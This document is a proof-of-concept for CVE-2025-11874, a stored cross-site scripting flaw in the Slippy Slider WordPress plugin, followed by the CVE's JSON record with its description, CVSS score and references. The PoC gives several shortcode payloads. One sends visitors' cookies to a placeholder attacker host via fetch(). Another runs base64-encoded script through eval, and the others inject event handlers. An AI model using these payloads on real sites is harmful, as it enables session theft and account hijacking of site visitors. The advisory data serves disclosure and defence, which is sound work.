CVE-2025-11874

<!-- WordPress Slippy Slider Stored XSS PoC --> <!-- Requires contributor-level access or higher --> <!-- Basic XSS payload via shortcode --> [slippy-slider onerror='alert(document.cookie)'] <!-- Image-based XSS payload --> [slippy-slider image='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Event handler injection --> [slippy-slider title='<img src=x onerror=eval(atob("YWxlcnQoMSk="))>'] <!-- Stored XSS via shortcode attribute --> [slippy-slider custom_attr='" onfocus="alert(document.domain)" autofocus="']

{"cve": {"id": "CVE-2025-11874", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:43.927", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Slippy Slider – Responsive Touch Navigation Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slippy-slider' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/slippy-slider-responsive-touch-navigation-slider/tags/2.0/slippy-slider.php#L46", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/21b6748a-43fb-4326-ac1f-d3ae2a6700f2?source=cve", "source": "[email protected]"}]}}